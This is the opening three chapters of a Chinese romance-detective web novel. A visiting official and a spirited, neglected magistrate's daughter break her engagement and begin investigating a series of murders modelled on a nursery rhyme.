《大人,请动心(探案)》
1. 退婚(一)
夜凉如水,冷冷的月光照在青石板上,忽得起了一阵风,将弯月遮住。
深深庭院中的光亮便唯木桥上一盏幽暗的绢灯而已。
不远处被隐没在海棠树丛中的小屋传来一阵悠扬清越的古琴声。
贺扶听出那是一曲《平沙落雁》,雁鸣隐隐,平稳流畅。纵观左晋怕是也没几人的琴技能高深至此。
他一身玉白鹤纹锦衣,手提缕金绢灯,循着琴声向小屋走去。
靠近小屋,琴声却戛然而止。
小屋的木门虚掩着,没等贺扶反应屋内便传出些羞人的呻.吟声。
他一双浅褐色的眸子微微放大,这屋内此刻竟是一片春光。
贺扶向来洁身自好,别说出入什么风月场所了,就是他熟识的女子都屈指可数,又怎会见过这般风月场面?
呆愣片刻,屋内一刻不停的声音传入耳中,惹得他耳廓添上几丝绯色。
正值夜中,这闺房之事也是顺其自然,反倒是自己站在屋前,若是让旁人看去了,怕是要传出些芝兰玉树的贺大人有什么特殊癖好的浑话了。
不、不可……
他微微摇头,在心中否决了那想法的可能性。
此时已近三更,此处又格外偏僻,若不是那莫名的琴声指引,他也不会找到这隐没在槐树树荫下的小屋。
对了,琴声。
他脑中一闪,还没等他多想便被远处的一阵熙攘打断。
他们怎么会来?贺扶愕然。
今日一早他才来到扬州,听闻了最近颇为骇人的“童谣杀人”一案后便打算彻查一番,于是便落脚在扬州知州温如升的府宅。那温如升也热情,特地备了盛宴邀了扬州城一众有名的官员商贾前来赴宴。
他虽不喜铺张浪费,但见温如升用心操办,自然也不好拒绝。
宴席过后,已是傍晚。有些家住得远的宾客便只能在府中暂住一晚。
此刻院外的“他们”便是那些早该在房中熟睡休息的宾客们。
夜中响起的琴声是故意将自己往这边引,等自己站定却又忽然消失,随后就是众位宾客的到场。
贺扶也不傻,将一切都联系起来后便怀疑是有心之人安排的一出捉奸在床的好戏,以琴声引诱,以自己为饵。
一通戏耍,他心中却并未有气,只是可惜这抚琴的好手,竟被拿来做这事,若是能知晓这背后抚琴之人是谁便好了。
“诶呦,贺大人啊,您久等了。”扬州知州温如升率先迎上来,笑得谄媚,“不知您邀我等来此有何要事?”
贺扶唇边总是带着温润的笑,尽管此时情况复杂也还是未有改变,他向面前诸位解释:“贺某未曾相邀,各位还是回去休息吧。”
他并没有提说屋内的情形,他不是什么爱看热闹的性子,况且这也不是什么光彩之事。
他这一说,温如升一怔,他身后的众位宾客也面面相觑。
他们本来都睡着好好的,突然有一只海棠破开窗嵌在墙中,海棠枝上还带着一封简短的信,落款是贺扶。
他们并未见过贺扶的笔迹,但那字写得秀逸又不失笔力,一看就是贺扶这般逸群之才能写出来的。更何况,那贺扶是谁?大理寺卿,丞相幸安的得意弟子,当朝圣上面前的红人!谁敢冒充他呀!
于是,便都带着好奇前来赴约,可都到这儿了他却说并未发出邀请,还叫他们回去休息,莫不是在拿他们寻乐子?
温如升懵了又懵,奈何他是此方主人,自然得有些主人的意思,只好上前问贺扶:“不是您派人送信说今夜子时东苑相见吗?怎的又……”
话音刚落,屋内就响起一声惊叫,众人的注意即刻从贺扶身上转进屋内。
“来人、来人啊!!!”
女子尖细的声音离门越来越近,直到裹着被子的一对男女出现在众人面前。
贺扶下意识的侧脸躲开,不去看那二人此刻的样子,而那两人在见到屋外浩浩荡荡的一群人后显然被吓得不轻。
“爹爹……”娇柔婉转的声音响起,贺扶觉得有些熟悉,一番思索后想起那是温如升的二女儿。
这温如升膝下无子,却有三位女儿。大小姐温娇为他第一任夫人所出,如今早已嫁人去了眉山;二小姐温淳是他的继室所出,还待字闺中,至于那位三小姐,据说是一位无恶不作的小霸王,风评差得很,贺扶并未见过,不知真假,自然也不能给予评价,但他对这二小姐的印象却是有些差的。
他从不饮酒,但白日里温淳偏要拿着酒杯往他身上靠,她身上染着的香粉为直往他嘴里呛,酒气混着香粉气,那感觉对贺扶来说无异于往他嘴里灌酒后把他整个人丢进脂粉堆里,难受得紧。
“淳儿,何世侄?你们……”温如升愣愣出声,不愿相信面前这厮混的男女是自己千娇百宠的女儿和满意至极的三女婿。
“爹爹……”温淳重重咬着粉唇,一时不知道该说些什么,只能在锦被下掐着何继宗腰间的软肉。
何继宗被掐得疼了,大叫一声。
“温伯伯,不是不是你们看到的这样,不是……”
这人非蠢即笨,此情此景,就差昭告天下他二人有私情了,又如何能误会?
贺扶不住向外移了移,免得这两位往外蹭的时候碰到自己。
温如升看看面前两人又看看一旁侧目的贺扶,再转头去看一脸看好戏的众人,竟束手无策。
“快去,快去请何老爷!”
院中一片混乱,不远处的墙头却闪过一丝不易察觉的银光。
贺扶感到眸中一闪,便循着光亮转头,只见云层不知何时被风吹开,露出一轮皎洁的圆月,而此刻的墙头之上、海棠树下正趴着一名豆蔻少女。
少女看着院中的人仰马翻笑得眉眼弯弯,竟是比头上的海棠还要娇艳惊人。
感受到贺扶看向自己的目光,她将玉指竖在唇前,做出噤声的样子,示意贺扶不要开口。
之后便一扎头消失在了墙边。
月光,海棠,檐上少女,如梦似幻,竟是让贺扶一刹失神。
她可就是背后抚琴之人?当真人如琴音……
贺扶心中一顿,那一瞬竟是从未有过的悸动。
“贺大人,是下官招呼不周,还请大人莫要怪罪。”
温如升指挥着下人将两人抬走,转身看着贺扶,仿佛下一秒就要哭出来一般。
众人面前丢人是小,可这贺扶到扬州的第一天就被这些难说的事情搅了心情,若是他去圣上面前随口说几句,说他温如升教女无方,家宅混乱,一家都管不住又如何能管制一城?那他额上乌纱可就不保了!
贺扶按下心中片刻的失序,对他摇摇头,温声道:“无事,大人家事大人自己解决就好,明日一早还要去府衙查案,那贺某便先回屋了。”
“好好好,贺大人慢走,贺大人好眠。”见贺扶并未放在心上,温如升才松了口气。
临走之前,贺扶又不禁看向刚刚少女出现的那个墙头,月光映照下海棠花枝轻轻颤着,却再没有少女的身影。
“温大人。”
这一声叫喊,将温如升适才放下的心又提了起来,他额上渗出些冷汗来,颤抖地问:“贺大人可还有事?”
贺扶轻笑一声,看起来还在斟酌,声音都有些温吞:“不知温大人府上可有哪位琴技极佳的乐师?”
“啊?”这一问倒是把温如升给问住了。别说乐师了,他府上连个爱听曲儿的人都没有,除过有些时候招待客人要招些乐师来撑撑场子,其余时候府中可谓是没有半点丝竹之声。
这贺扶却突然问起这个,温如升灵光一闪,莫不是在暗示自己为他找些会抚琴的美姬以平今夜之事?
温如升顷刻喜笑颜开,什么洁身自好的儒雅君子,不过也是个俗人嘛!
“有有有!下官明日就派人送去您院中!”
贺扶听出了他的言外之意,想开口解释却被温如升伸手按下,“您放心,下官绝对不会告诉任何人的!下官的嘴牢得很!”
说罢,他便提着衣摆,富态的身体一颤一颤的小跑离开,只余贺扶站在原地,默默扶额。
这温大人当真是对自己的揣度自信至极啊。
—
与此同时,东苑西侧的一条小径上,温余哼着小调,脚步轻快,心情甚好,腕间挂着银铃的翠玉手串也随着她的动作发出清脆的响声。
叫你们乱搞,羞不死你们!
她手上把玩着鬓边的小辫,蹦跳着穿过一片树林回到自己那破败的小院中。
空荡荡的庭院内没有一个下人,只有一口尚未完工的棺材横在中间。
反正今夜也睡不着,温余拍拍手后从一旁拿了工笔,开始在棺材上雕刻花纹。
城南刘老板家的老爷子卧病在床半月有余,怕是救不活了,等他咽了气自己就把这棺材卖了去,怕是能赚不少钱。
想到到时拿在手中的银钱,她便心中愉悦,手下的动作自然也麻利了许多。等到天边泛起鱼白,这口棺材雕花的部分就算是完成了。
温余刚直起腰,正要拍拍腰就听院外响起一阵脚步声。她叹了口气,将手中的工笔放下,向院门走去。
该来的还是要来的,这顿打肯定是逃不掉了……
如她所料,一到门口就被前来抓她的吴婆子喷了一脸口水。
短粗的食指带着暗绿宝石戒指,直直指着自己的脸,破口大骂:“你这个小杂种还真是不要脸,平日里胡闹就算了,昨个儿府中来了贵客,你还敢搞小动作,是想把老爷往沟里推吗?”
看样子是查出来了,竟然这么快?
转念一想,不过也是,这府中、不整个扬州城谁敢在那位自京中前来的贺大人头上搞小动作?
自然也只有她这个天不怕地不怕的混账野丫头才能做出这事了。
温余自然地擦擦面上的口水,这般场景在她这儿已经不下百遍千遍了。念此,她心中不由悲戚:身为官家小姐,能被一个下人指着鼻子骂的怕是也只有她温余一人了。
“我爹叫你来不是为了骂我的吧?要走快点走,省得误了时辰你还要污蔑是我路上磨蹭。”
对于这种仗势欺人,狐假虎威的人她也懒得和她吵,吵赢了也是被她躺在地上一通讹诈,吵输了……
不
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,她温余是什么人?何时在嘴皮子上落人下风过?
听温余这么一说,吴婆子止住了骂声,恶狠狠剜了温余一眼,尖声说了句:“走。”
温余跟着吴婆子一路到上善堂,由于昨日狠狠将了何继宗和温淳一军,她今日看花是花看草是草,就连一会儿要挨的打也觉得是值了。
“跪下。”震天的怒声响起,温余却觉得好笑,在旁人面前阿谀奉承,细声细语,一到家就开始横。
她这个爹啊,还真是适合当官。
一进门,吴婆子就把温余按在地上,让她对着堂上二人,趁着温如升的骂声还未到狗血喷头的地步,温余打量着堂中的情况。
堂上坐着两个老的,两侧各站着一排拿着板子的家丁,这样的场景在府里不过两三天就要上演一次。
但与之前不同的是,今日堂侧还坐了一个人,一身与昨日无二的月色锦袍,脊背挺直,手中还端着茶杯,见温余进来对她微微一笑。
是昨天那个被她诓骗来当钓饵的冤大头。
看他周身气质,是不食人间烟火的那类人,被自己拿来当捉奸工具多少是有些污染了他的眼睛的。
温余侧开脸,心中有些许愧疚。
堂上的温如升一拍桌案,如同审问嫌犯一般对温余道:“当着贺大人的面,你这混账都说说你昨晚都干了些什么?!”
温余朝贺扶笑了笑后清清嗓子,声情并茂道:“昨晚我早早就寝却难以入眠辗转反侧,只觉庭院东侧红鸾星动,指引我前往,一进东苑我就瞧见二姐姐与我那未婚的夫君何家少爷情难自控,颠鸾倒凤,竟不知天地为何物……”
见温余还要将那档子事展开细说,温如升立马叫停:“谁叫你说这个?我要你交代自己昨天晚上干了什么!”
“我没干什么。”温余道。
温如升悄悄瞄了贺扶一眼,见他面色如常于是又对温余吼道:“还想狡辩,东苑屋里的那瓶浆糊你怎么解释?”
温余撇撇嘴,一副事不关己的样子:“前些日子我房里浆糊罐子碎了,借了瓶子装好之后就近放在东苑了,谁知道会被别人用来干什么。”
温如升气得胡子乱飞,指着温余不知道该说些什么。
毕竟不是温余拿着浆糊往何继宗和温淳身上抹,再怎么说也怪罪不了她什么。
“那你冒充贺大人之名诓骗众人你又该作何解释?”
温余又看了贺扶一眼,反驳道:“我当时在信里写‘今夜子时东苑相见,得我心者的升官位’,若是你们注意查看就知这笔迹并非出自贺大人之手,是你们急功近利想走后门才会一股脑的去东苑,要怪也只怪你们不甚仔细,才会被人诓骗。”
温如升大吼:“混账!分明是你心术不正还怪罪上长辈了?冲撞长辈是为不孝,简直不识礼数,愧为人子!”
“我一介女流都知贺大人风光霁月,清廉正直,乃是当今圣上最为喜爱之臣子,怎会背后搞手段拉拢人心?你们单凭一纸来路不明的信就欣然前往,就是不信任贺大人,质疑圣上,简直是枉为人臣!”
温余掷地有声,温如升大喊一声“混账”后急忙对贺扶解释:“贺大人明鉴,是小女不识礼数,冲撞了大人,吾等万万没有此意,贺大人明鉴啊!”
枉为人臣啊,这是能随便指说的吗?还当着贺扶的面说!这丫头真是愈发没有教养了!
自温余开始说话时贺扶的目光便一直在她身上没有移开一刻,伶牙俐齿好不机敏。
听她将矛头对向自己贺扶也只是微微一怔,好奇她会说些什么,却是没想到她会反将一军,把不忠不义的名头踢回温如升头上,简直是有趣。
“为人做官当脚踏实地,万万不可有一步登天的想法,这一点温小姐说的不错,是温大人错了。”
温如升没想到贺扶会帮着温余说话,一时哑口无言,隔了好半晌才咬牙切齿地问温余:“你这混账到底要干什么?”
温余正色,将双手交叠放在头顶,随后板正叩首。
“如贺大人所见,小女温余,与扬州进忠商户老板之子何继宗自小结为姻亲,然何家子竟在婚前与家姐厮混,无媒苟合,小女心死,望贺大人做主,小女要退婚。”
贺扶本还疑惑为何这温三小姐非要让众人去围观自己夫婿与二姐苟合,原是她想借此一闹好名正言顺地退婚。虽说唬人这一行为有错,但这一招倒是有用,竟直接将温如升架在台上。
如今所有人都知晓这桩丑事,温二小姐不好再嫁,这何家公子也不好继续迎温三小姐入门。
不过未等贺扶开口,温如升便拍案吼道:
“休想!”
见温如升被气得满脸通红,一旁沉默许久的赵氏一边帮他顺着气一边劝温余:“老三啊,这天下男子有哪个男子不风流?不过是些小事,爹娘说你二姐几句就是,何至于退婚啊?”
贺扶却不由蹙眉,这温如升夫妻二人明知此事丢人,却还这般将温三小姐往何家推,倘若真嫁了怕是落人话柄,遭人嘲笑。温三小姐一介女子,如何能受此羞辱?
“还望贺大人为小女做主。”思索间,温余竟转身向贺扶重重一拜。
2. 退婚(二)
贺扶自然是受不了温余这结实的一拜,连忙起身上前将她扶起,温声道:“温三小姐何必如此?”
“贺大人,小女知晓昨日所做之事出格,还害得贺大人为难,但也是实在没有办法了,才出此下策。还望贺大人能大人不记小人过,帮小女这一次,小女愿当牛做马,报答大人!”
温余低着头,虽声音坚定,心中却恐惧得很。拉贺扶入局也是听闻他为人宽厚,正直清廉,想着借他的口或许能帮自己退这这桩讨厌的婚事,但若是他不答应,又或是传言有误,他要怪罪自己,那她便当真完了。
她甚至不敢抬头去看,堂中沉默了许久,最后只听得贺扶一声低低的叹息。
还是,不行吗?温余的心瞬间沉入谷底,浑身发冷。
“温小姐不必如此的。”贺扶放开扶着温余的手,缓缓蹲下平视她。
贺扶的眼睛是生得极好看的,形似桃花,瞳色浅浅,如同一颗剔透的琥珀一般。眉目间亦是款款的柔情,仿佛多看几眼就陷进去一般。被他这样盯着,温余心中微动。
“贺大人,不愿帮我?”温余的声音开始有些颤抖。
谁料贺扶却将温余从地上扶起后转身对着堂上二人,温声软语却又带了些上位者的威严:
“贺某认为温大人应当多加思索,三思而后行。既知温二小姐与何公子两情相悦,那便当以成全,何必如此固执己见,误了两位女儿的婚事呢?”
这番话又是“两情相悦”又是三思而行,可谓是给足了温如升面子,不至于让他太过难堪,虽话未说满,但也有了八九分,对温如升定是有些威慑作用的。
温如升果真沉默,过了半晌才拱手恭敬道:“贺大人说得是,下官定会再思、再定。”
温余松了口气。如此一来温如升便不会急着把自己给嫁去何家了,但他又未直说退婚,且就算是当下答应了退婚,日后贺扶离开还是可以将自己嫁过去,以与何家交好,得些钱财上的“照拂”。
而且何继宗是扬州城出了名的浪荡子,就算是他不让自己嫁过去自然也是不会让自家宝贝女儿去何家受这个苦的。
还是不行,我得彻底离开这里才行……
—
“又是一年七月半,家家户户闭门堂;
阎王挥旗小鬼闹,凡夫出门要遭遇;
更鼓响,邦邦邦,瘸腿和尚丢拐杖;
潦倒书生挖心亡;商贾老爷急吞金;
高门恶女忙躲藏。
邦邦邦,邦邦邦;
河岸小鬼来相会,作恶多端丢命偿。”
贺扶学着孩童的调子将这诡异的童谣唱出来,声音轻柔倒是少了几分杀人童谣的可怖。
“凶手就是按照这首童谣杀人的?”贺扶问身边的小侍卫。
小侍卫启蛰点了点头,“没错,和尚被砍断了腿,书生被挖去了心,最近的那位商贾老爷也是吞金而死。”
“这首童谣是从哪里传出来的?”贺扶阖了阖眼,昨夜那一闹,他并未睡好,今日早起头还是有些疼的。
启蛰答道:“一开始是几个小乞丐在唱,之后就越传越多,很多小孩子就都会唱了,至于具体是谁传出来的,这个没人知道。”
贺扶将抄写了童谣的纸张工整叠好,放入袖中后抬眼问他:“马车备好了吗?”
“好了。”
“那便去府衙吧。”
启蛰拱手后退:“是。”
贺扶前脚刚迈出大门就听背后有人喊:“贺大人留步!”
他闻声转头,只见温余一身素色布衣向自己奔来。
这温如升当真是不重视这位三小姐,温二小姐的衣裳可是极好的蜀锦绣花,头上簪着的也是些珠宝金钗什么的,反观三小姐,一身粗布麻衣不说,连个像样的头面都没有。
跑到贺扶面前,温余冲他友好地笑笑:“贺大人,小女斗胆也想与您同往。”
贺扶心中对她有些怜悯,听她这么说虽有些诧异,却还是更加放柔了声音问她:“贺某是去府衙查案,温小姐也是对案情感兴趣?”
“嗯。”温余重重点头,一张清瘦白净的小脸带着浓浓的笑意,“方才贺大人帮了小女,小女也想能帮大人些忙。”
“温小姐也对案情有所了解?”贺扶笑问。
“是有一些,应当能帮到大人,等到了府衙,小女便尽数告诉大人。”
温余笑得纯良,贺扶却听出了她话语间的一些小心思。
还是个会威胁人的,贺扶失笑。
“那温小姐请吧。”
贺扶侧身为温余让出些位置,让她先行一步。
但身旁的启蛰看向贺扶,斟酌半晌才开口道:“大人,这温家三小姐可不是个好惹的主儿,可当心被她给缠上了!”
“启蛰,莫要背后语人是非。”贺扶出声制止,却听启蛰继续道:
“启蛰听说这温三小姐可骇人了,平日里不是和乞儿同群便是与街头混混厮混,规矩礼仪没学上多少,邪门歪道却是精通得很!贯会骗人唬人,装良善的!昨日不就是骗您去了东苑吗?竟让您去看那些腌臜事情,简直是天大的冒犯!”
启蛰说得气愤,他查案时听坊间传信就对温余没什么好印象,又经昨日那么一遭,对温余的好感简直降到最低,而贺扶却偏偏一副心疼怜悯的样子,定是被那丫头给迷惑了!他得给掰扯回来才行。
“昨日之事事出有因,我并未生气,至于你听到的那些坊间传闻,万万不可全信。”贺扶对启蛰这听风就是雨的性子有些无奈,但又念在他年岁尚小只能多加管束说教,“温小姐既说要帮我们查案,那我们当致谢意,怎能这般辱人?”
“可是……”启蛰还想劝说,却又见贺扶心意已决,只好闭嘴,但心中愤懑语气也未免不对,“是,大人教诲的是,启蛰谨记。”
他声音闷闷,贺扶无奈摇摇头。这孩子……
马车顺着大路向府衙走,路过扬州城最为繁华的一条街道,温余挑开车帘,好奇的向外瞟着。
“温三小姐。”贺扶声如温玉,只是单单的一唤便足以使人心头一颤。
温余闻声转头,随即对贺扶扬起一个笑来:“贺大人有何指示?”
贺扶想起昨日墙头那一见,与那极妙的琴声,好奇问道:“昨夜的琴声可是出自温小姐之手?”
温余点头,却有些不好意思,自己昨夜那般冒犯他,他却不生气还帮了自己的忙,当真是个好人。
贺扶心下确定,笑得也更温柔的些:“温小姐昨日那曲《平沙落雁》着实惊艳,不知师从何人?”
温余轻快回道:“并未拜师,那琴也是我自己做的。宅子后那条街有位员外常请乐人前来,我闲逛时听得多、看得多了就慢慢学会了。”
“哦?”贺扶有些惊讶,又想起以温如升对温余的态度,确实不可能专门为她聘请先生教导。
如此天资,却被荒废,着实可惜了些,贺扶最是惜才,见如此人才被埋没,自然是觉得难受。
他轻笑赞道:“只是耳濡目染便能学到这般程度,这温小姐还真是天资过人。”
温余自小都没被人夸过,突然被贺扶这么一说惊讶之余不免窃喜,“多谢贺大人夸奖,您是第一个夸我的人。”
“温三小姐聪慧如此,贺某是第一个却定不是最后一个。”贺扶心中念着,自府衙回来后定要想办法为温余寻位教导先生来。
二人交谈间,马车缓缓停在府衙门前,贺扶先一步走下马车,温余后脚跳下,奈何一个没站稳竟向前栽去。
“小心。”贺扶眼疾手快将她接住,清瘦的身子就这样栽进自己怀里,他明显感受到了手下突出的蝶骨不由心惊,本就不高的身量又如此之瘦弱,使得他心中怜悯更甚。
“抱歉,贺大人,我没站稳。”温余挣扎着从贺扶怀里出来,遮掩似的在他前襟上拍了几把,算是给他去去灰。
贺扶仍旧蹙眉,轻咳一声后道:“无事,温小姐先请。”
见贺扶不甚在意,温余也放下心来,轻快地向门内走去,贺扶立在门口看了片刻,无奈叹了口气。
三人随着衙役一同来到验尸房,童谣案件涉及的三位死者正整齐的躺在房中。
室内阴冷,温余衣裳又薄,不由打了个寒颤,又听仵作对贺扶一一介绍:
“这几位分别是周园寺的静禅法师,是被人砍了左腿失血过多而亡,这一位是城东的赵秀才,被人挖心而亡,这一位是元生商户的贾元生,是吞金而亡。”
三位死者,死法各不相同,都是按照童谣中所唱的死法,瘸腿、挖心、吞金,这般恶劣的行径着实让人心惊胆寒。
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“这几位死者可有什么共同的特征或是相同的仇家?”贺扶上前查看片刻后出声问道。
府衙的赵捕快上前回答:“这几位虽身份地位各不相同,但却在生前都有些人尽皆知的恶劣事迹。”
赵捕快先指静禅法师,“静禅法师原是周园寺的一位禅师,但因其好色荒淫而被住持逐出师门,之后便经常待在城门口与些个婆子嚼舌根,这城中有头有脸的人怕是没有哪一个没被他说过。”
温余赞同点头,她之前便听到过这人讲自己的闲话,却是个欺软怕硬的,她只是提着锤子在他面前转了一圈儿,他就闭了嘴,自那之后每次见到她都要绕着走。
赵捕快接着指向赵秀才,道:“赵秀才是前些年才考上的秀才,不过是个穷秀才,家里没钱还喜好饮酒,经常酒后斗殴,被抓了不少次。”
天资不行,人品也不行,书没读几本还偏要端上个读书人的架子,什么脏活累活全然不做,就等着妻子服侍,还整天抨击朝廷无能,若不是圣上倡导仁治,怕是脑袋都掉了好几回了!温余暗暗鄙夷。
最后是半月前刚去世的贾元生:“贾元生作为扬州有名的商贾老爷是个十足的急色鬼,强抢民女的事情不少干,但由于家财万贯出了事就拿钱封口,府衙也不好抓捕。”
仗势欺人,贪财好色,整天不是在酒楼就是在赴宴,该杀!
温余抱臂看着面前躺着的三具尸体,若不是有旁人在场她恨不得上前去呸几口,一群混蛋。
“这莫不是在报仇?为民除害什么的?”启蛰推测后又愤愤道,“不过我觉得挺好的,这种杂碎死不足惜!”
要知道,他平生最看不得这些欺压弱小的人了,这样的人他见一个揍一个!
“恶人当由律法处置,若滥用私刑害人性命又与恶徒何异?”贺扶不赞同启蛰这意气用事的观点。
“可这律法也未能处置这些人啊。”启蛰还是不能理解,这律法怎能护着恶人呢?
“先不争论这个,临行前温小姐说对扬州城十分了解,那你可知这三人有些不同寻常的地方?”贺扶看向沉默许久的温余。
“当然知道了!”温余叉着腰走到赵秀才尸体旁,“虽说这三人都是按童谣中的死法丧命,但这赵秀才的死法却最为残忍,被人活生生挖出了心,但在仵作验尸过程中却发现了背后有一条刀口,直刺心脏,一刀毙命,伤口平整,没有任何挣扎的痕迹。”
贺扶转头向仵作求证,见仵作点头后便继续听温余往下说。
“赵秀才生前在扬州树敌颇多,时不时会有仇家找上门,若是与他人见面自然不放心把背后交给别人,但凶手却能轻而易举的从背后刺杀,那说明凶手肯定是与赵秀才相熟,且在赵秀才眼里凶手对自己没有任何威胁。”
“行凶现场在赵秀才家中,就更能断定凶手是死者熟识之人。”贺扶补充道。
“没错!”温余赞同道,“由于我们判定这是仇杀,所以在与赵秀才熟识、有仇且在自身方面不至于对赵秀才造成威胁的人就只有一个了。”
“谁?”贺扶问。
温余一打响指,脱口而出:“张申。”
“张申是何人?”启蛰看向一旁的赵捕快。
赵捕快回答:“张申是赵秀才的小舅子,赵秀才的妻子张喜在两个月前投河自尽。”
“有了张申这条线,我们再顺藤摸瓜去看另外两个人,静禅法师曾经谣传张喜与人私通,而贾元生曾经威胁过张喜与他苟合,赵秀才又因为常年酗酒对张喜拳打脚踢,而张喜投河自尽的原因应该也和这几位脱不了关系,这样一来杀人的原因不就说得通了?”
温余双手撑在停放赵秀才尸体的床边,冲贺扶笑得灿烂。
贺扶正思考温余所说的可能性,却听赵捕快开口质疑:
“不对啊,那张申可是个瘸子,行动不便,就算是他能努力把静禅法师和赵秀才杀了,那贾元生又怎么解释?贾家家丁众多,他要想进入府中悄无声息的把人给杀了再悄无声息的出去,未免有些困难了吧?”
“这个……”温余语调慢了下来,随后看向贺扶道,“就要烦请贺大人和小女一同探查啦!”
贺扶斟酌片刻,下令道:“赵捕快,你带着人全城搜捕张申,将他安全带府衙,启蛰你带着温小姐,我们去贾府。”
3. 童谣杀人(一)
坐在前往贾府的马车上,贺扶略带疑惑地问:“温小姐是如何得知张喜和张申二人的家事的?”
“因为张喜生前在我家做工,去世之后张申还来找我打过棺材。”温余回答道。
“温小姐还会打棺材?”贺扶十分诧异,一个官家小姐,竟然还会打棺材?
“嗯哼,”温余骄傲扬头,“打棺材嘛不难的,贺大人想学我可以教您!”
见温余这般热心,贺扶摇头婉拒:“不必了,贺某暂时还没有这个想法。”
“哦。”温余慢慢点着头,看起来有些失望。
一炷香后,马车停在一座华贵的府邸前,方正的牌匾上大大写着“贾府”两个金字,朱门前站着一行人,为首的是一位身着稿素的妇人,她便是贾元生的妻子,沈氏。
沈氏见贺扶下车便立刻扑上前去,哭喊着:“贺大人啊,我家老爷死得惨啊,求您为我家老爷做主啊!”
面对沈氏的哭喊,贺扶不失风度的安慰着,一旁的温余却不住“切”了一声。
贾元生强抢民女,沈氏不阻止不说还帮着隐瞒其行径,用钱威胁女子家人,看着面前哭天抢地的女人,温余着实是可怜不起来。
“夫人莫要担心,贺某定会找出凶手,给贾员外和全城人一个交代。”
听贺扶这么说,沈氏渐渐止住了哭声。
等沈氏收敛心情,便被人搀扶着带着贺扶去到案发现场。
贾元生死在他的书房里,屋内的书籍,摆设被扔得满地,像是贾元生死前曾和凶手搏斗过,据沈氏所说他的尸体是倒在书案前的,背朝上,嘴里含着着一块金锭,还有一块金锭被从后.庭塞入。
说是吞金而亡,实则是窒息而亡。
进入屋中,温余便觉得不对劲。
地上摔放的都是些书啊笔啊什么的,而放在书架上的名贵宝器却仍然安稳摆放着。
若是死者生前搏斗还会估顾及哪些东西值钱哪些东西不值钱不成?
温余心下确定,这里一定不是第一现场。
她又跟着贺扶四处逛了逛,不由感叹这贾元生还真是攒了不少东西,简直富得流油!
行至一个靠墙的书架处,温余发现一座雕状的铜像上落了一层薄薄的灰,与其他干净到发亮的摆设形成鲜明对比。
贺扶也注意到了这一点,目光也看向这座雕像。
“哇,这雕像好生动啊,不知贾员外是从何处觅得的?”
说着,温余就伸出手做出要碰的动作。
一旁看着的沈氏面上立刻紧张起来,温余转而去碰旁边的玉如意,沈氏肉眼可见的松了口气。
摸了摸光滑的翠玉,温余又将手伸向那个铜像,“诶呀,这个也好看!”
刚刚放松下来的沈氏心又提了起来。
温余心中暗喜,觉得好玩。
见温余起了玩心,贺扶轻咳一声打断:“温小姐,正事要紧。”
温余佯装悻悻收回手,抱歉道:“好的,贺大人。”
沈氏又长舒一口气,忽然身子摇晃,好像下一刻就要倒下去,身边的丫头立刻扶住她。
沈氏掩唇虚弱道:“民妇身体不适,怕是不能陪贺大人在此了……”
贺扶也立刻接话:“贾夫人不适便早些回去休息吧,贺某定仔细查看。”
“好,那民妇告辞了。”
等沈氏被搀扶着离开,温余便开口道:“装的。”
贺扶也看得出来,但还是问她:“温小姐可知贾夫人为何借病离开?”
温余将手搭在那做铜像上,轻轻一旋,道:“许是因为不想解释这里边的东西吧。”
随着温余的动作,铜像对面的书架被换换移开,露出一条黑漆漆的密道。
“温小姐要一起进去吗?”贺扶道。
温余点点头,“当然,可是我主动请缨来帮贺大人查案的,怎么会有让贺大人独行的道理?若是这密室内有什么暗器,小女还要帮大人挡着些呢!大人身娇体贵,万万不能受了伤!”
贺扶轻笑着摇头,油嘴滑舌。
二人穿过漆黑的暗道,来到一处密室。
密室里摆设华丽,堪称金碧辉煌,但却只有被红色薄纱隐隐约约遮挡的巨大浴池和一张十尺有余的大床,颇有酒池肉林的架势。
床边还有些锁链什么的,不过却是大了些,寻常女子的手腕应当没这么粗才是。
温余啧啧两声,感叹道:“这贾元生玩得可真花。”
贺扶芝兰玉树,身边之人自然也是个个清朗俊才,哪里见过这架势,再加上室内暧昧的熏香不由面上飞红。
“看来被贾员外抢来的女子就被安置在这里。”
贺扶捡起床边的一条锦带,看宽度应该刚好能蒙住眼睛。
“看这儿!”温余在平整的地板上发现一道划痕,顺着划痕看去刚好延伸到密室门口。
“看来贾员外是在这里被杀的。”贺扶道。
“而且根据外面的情况看,那些打斗痕迹应该是沈氏伪造的,为的就是隐瞒贾元生的这些恶心事儿和这个密室。”温余推测道。
“那她方才又为何称病离开,放任我们调查?”贺扶疑惑道。
温余摸着下巴,思索了片刻后道:“说不准是觉得瞒不住了却又不想我们当着她的面发现,或者她想把自己从这件事里摘出去。”
随后她又无奈道:“但几乎全城人都知道她也有参与,何必做这些无用功呢?”
贺扶摇摇头,也表示不解。
出了密室,二人直奔沈氏卧房去,没想到在院中廊庭下见到了她。
她坐在石桌旁,面上苦涩,应当是知晓事情败露。
见贺扶前来,她闭了闭眼,下定决心。
“贺大人,您都知道了吧?”沈氏悲戚道,像是认命一般。
贺扶颔首,“那就请贾夫人解释解释吧。”
等二人安稳坐下,沈氏才将贾元生与她所犯罪行一一道来。
贾元生常常外出应酬,在酒楼等地方看到好看的姑娘就派人去打听她的家事,若是个家事低微好欺负的就告诉沈氏,沈氏便找时间去与她的家人交涉,通常是威逼利诱带着姑娘回到家里,将她关在密室中供贾元生享乐。
“简直太过分了!你们知不知道有姑娘因此去寻死?”温余怒火中烧,却还是忍住没有当场发作。
沈氏低着头,两只手扣在一起,悔恨万分,“我也知道,前几个月我听说那个叫张喜的丫头投河自尽就在想会不会是因为我家老爷的作为,所以才逼死了她。我隔天就去找她的家人想着赔点钱,但是她那个瘸腿弟弟一分钱都不要,只想让我们给他姐姐偿命。”
沈氏抽泣道:“自那以后我就夜夜做噩梦,梦到她来找我索命,我很害怕,就劝老爷停手,可老爷不听我的,还是我行我素,我也没办法了……”
沈氏捂脸哭起来,不知是因为悔恨还是害怕。
“那你可清楚贾员外死前曾从外面带回来什么人?”贺扶问她。
她摇着头,哽咽道:“我不知道,从张喜死后我就再没参与过这件事。”
“那你知道张喜的弟弟张申在哪儿吗?”贺扶又问。
“我不知道。”
温余和贺扶对视一眼,贺扶摇了摇头。
除过这些,应该是问不出什么了。
二人告辞后便从贾府出来,温余心中仍是气愤,她怒骂道:“人渣!死了都还是便宜他了!就应该把他给阉了,然后把那玩意丢去喂狗!怕是狗都不愿意吃那玩意儿!”
贺扶也觉得这贾元生夫妇的行事着实非人,但良好的礼仪教养使他只能发出一声无奈的长叹。
